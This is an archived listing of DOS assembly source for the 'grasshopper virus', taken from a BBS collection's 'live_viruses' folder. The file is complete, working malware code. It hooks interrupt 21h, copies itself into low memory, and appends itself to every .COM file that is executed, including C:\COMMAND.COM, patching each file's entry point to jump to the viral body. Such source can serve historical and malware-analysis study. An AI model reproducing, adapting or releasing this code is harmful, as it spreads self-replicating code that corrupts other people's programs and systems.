home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / gh.asm < prev    next >
Assembly Source File  |  1980-01-01  |  2KB  |  249 lines

  1. .MODEL TINY
  2. .CODE 
  3. ;grasshopper virus
  4. eleje:
  5.  
  6.  
  7.  
  8. BELEVALO PROC
  9.  
  10.     MOV SI,5
  11. VISSZAODA:
  12.     MOV AL,BYTE PTR [BP+OFFSET FILEELEJERE-1-OFFSET BELEVALO+SI]
  13.     MOV byte ptr [0FFH+SI],AL
  14.     DEC SI
  15.     JNE VISSZAODA
  16.     push es
  17.     push ds
  18.     call INSTALL
  19.     pop ds
  20.     pop es
  21.     MOV BP,100H
  22.     JMP BP
  23.  
  24.  
  25.  
  26. FILEELEJERE DB 5 DUP (0)
  27.  
  28. BELEVALO ENDP
  29.  
  30.  
  31.  
  32. FIGYELES PROC
  33.  
  34.     pushf
  35.     PUSH AX
  36.     CMP AH,4BH
  37.     JNE NEMTOLTES
  38.     push bx
  39.     push cx
  40.     push si
  41.     push ds
  42.     push dx
  43.     PUSH BP
  44.     xor bp,bp
  45.  
  46.     call fertoz
  47.  
  48.  
  49.  
  50.  
  51.  
  52.     pop bp
  53.     pop dx
  54.     pop ds
  55.     pop si
  56.     pop cx
  57.     pop bx
  58.  
  59. NEMTOLTES:
  60.     POP AX
  61.  
  62.     popf
  63.  
  64.     db 0eah
  65.     cim dw ?
  66.     cimseg dw ?
  67.  
  68.     
  69.     
  70. FIGYELES ENDP
  71.  
  72.  
  73. FERTOZ PROC
  74.  
  75.  
  76.  
  77.         MOV     si,DX
  78. C_E_1:        INC     si
  79.         CMP    BYTE PTR [si],'.'
  80.         JNE    C_E_1
  81.         INC     si
  82.         CMP    BYTE PTR [si],'C'
  83.         JE    EZ_COM
  84.         CMP     BYTE PTR [si],'c'
  85.         JnE     nem_jo
  86. ez_com:    
  87.     MOV AX,3D02H
  88.     INT 21H
  89.     JC NEM_JO
  90.     MOV BX,AX
  91.     PUSH CS
  92.     POP DS
  93.  
  94.         
  95.         CALL VEGERE
  96.         ADD AX,100H
  97.         MOV WORD PTR CS:[OFFSET FILEVEGERE-OFFSET ELEJE+BP],AX
  98.         CALL ELEJERE
  99.  
  100.         MOV DX,OFFSET FILEELEJERE-OFFSET ELEJE
  101.         ADD DX,BP
  102.         MOV CX,5
  103.         MOV AH,3FH
  104.         INT 21H
  105.         
  106.         CMP BYTE PTR CS:[OFFSET FILEELEJERE-OFFSET ELEJE+BP],0BDH
  107.         JE NEM_JO
  108.  
  109.         CALL ELEJERE
  110.         MOV DX,OFFSET ROVIDUGRAS-OFFSET ELEJE
  111.         ADD DX,BP
  112.         MOV CX,5
  113.         MOV AH,40h
  114.         INT 21H
  115.         CALL VEGERE
  116.         MOV CX,OFFSET VEGE- OFFSET ELEJE+1
  117.         MOV DX,bp
  118.         MOV AH,40H
  119.         INT 21H
  120.  
  121. nem_jo:
  122.     MOV AH,3EH
  123.     INT 21H
  124.  
  125.         ret
  126.  
  127.  
  128. FERTOZ ENDP
  129.  
  130.  
  131.  
  132.  
  133. COM_E        PROC
  134.  
  135.  
  136. COM_E         ENDP
  137.  
  138.  
  139.  
  140.  
  141.  
  142.  
  143.  
  144.  
  145.  
  146.  
  147.  
  148.  
  149.  
  150.  
  151. ELEJERE PROC
  152.  
  153.     XOR CX,CX
  154.     XOR DX,DX
  155.     MOV AX,4200H
  156.     INT 21H
  157.     RET
  158.  
  159. ELEJERE ENDP
  160.  
  161.  
  162. VEGERE PROC
  163.  
  164.     XOR CX,CX
  165.     xor DX,dx
  166.     MOV AX,4202H
  167.     INT 21H
  168.     RET
  169.  
  170. VEGERE ENDP
  171.  
  172.  
  173.  
  174. ROVIDUGRAS DB 0BDH
  175.  
  176. FILEVEGERE DW 0
  177.  
  178. JMP BP
  179.  
  180.  
  181.  
  182.  
  183.  
  184.  
  185.  
  186. INSTALL PROC
  187.     
  188.  
  189.  
  190.  
  191.     mov ax,3521h
  192.     int 21h
  193.     mov ax,es
  194.     cmp ax,60h
  195.     je Nem_installaljuk
  196.     mov WORD PTR [OFFSET cim-offset eleje+BP],bx
  197.     mov WORD PTR [OFFSET cimseg-offset eleje+BP],ax
  198.     
  199.     mov SI,offset VEGE-offset ELEJE
  200.     mov ax,60h
  201.     mov ds,ax
  202. cik:    mov ah,[cs:BP+SI]
  203.     mov [ds:SI],ah
  204.     dec SI
  205.     jnl cik
  206.     
  207.     mov dx,offset figyeles-offset eleje
  208.     mov ax,2521h
  209.     int 21H
  210.  
  211.  
  212.  
  213.  
  214. mov dx,offset filenev-offset eleje
  215. add dx,bp
  216. call fertoz
  217.  
  218. Nem_installaljuk:
  219.     RET        
  220.  
  221.  
  222.  
  223.  
  224. FILENEV DB 'C:\COMMAND.COM',0
  225.  
  226.  
  227.  
  228.  
  229.  
  230. INSTALL ENDP
  231.  
  232. VEGE:
  233.  
  234. START:    XOR BP,BP
  235.     PUSH CS
  236.     PUSH CS
  237.     POP DS
  238.     POP ES
  239.     MOV AX,CS
  240.     MOV SS,AX
  241.     call INSTALL
  242.     mov ah,4ch
  243.     int 21h
  244.  
  245.  
  246.  
  247.  
  248. END start
  249.